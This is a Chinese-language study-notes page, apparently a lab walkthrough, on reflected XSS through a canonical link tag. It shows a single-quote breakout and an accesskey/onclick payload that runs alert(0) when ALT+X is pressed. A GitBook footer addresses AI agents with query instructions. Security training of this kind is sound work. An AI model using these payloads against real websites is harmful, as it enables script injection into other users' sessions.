> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/reflected-xss-in-canonical-link-tag.md).

# 规范标签中的反射型 XSS

### 规范链接标签中的反射型 XSS

`canonical` 会在其中反射的标签 `href` URL 中提供的值（ `<` 和 `>` 尖括号被转义）。/ 目的：注入一个可执行的 **属性** 用于调用 `alert()` 在主页上。

* 源代码显示有一个 `canonical` 标签会接收 `href` 来自 URL 中所输入的内容。

<figure><img src="/files/66ceba48c041f05a6928c6c93027696caa150978" alt=""><figcaption></figcaption></figure>

* 你可以用一个单引号跳出： `' hacking` => `%27hacking`.

```javascript
' hacking
%27hacking
```

<figure><img src="/files/03caa4f1aaa8451a023e7dce98e6eb4aa5c3148c" alt=""><figcaption></figcaption></figure>

* `accesskey` 可用于按下某个键来触发操作： `'accesskey='x' onclick='alert(0)`.

```javascript
'accesskey='x'onclick='alert(0)
/?%27accesskey=%27x%27onclick=%27alert(0)
```

<figure><img src="/files/5a75c1b869e28e2c38ff6e1e5f00a0dfd1b781a3" alt=""><figcaption></figcaption></figure>

触发的操作：

```javascript
ALT + X
```

<figure><img src="/files/2d07014dfb980d89b4d6f3b74347ab11e6c0c8ed" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/reflected-xss-in-canonical-link-tag.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
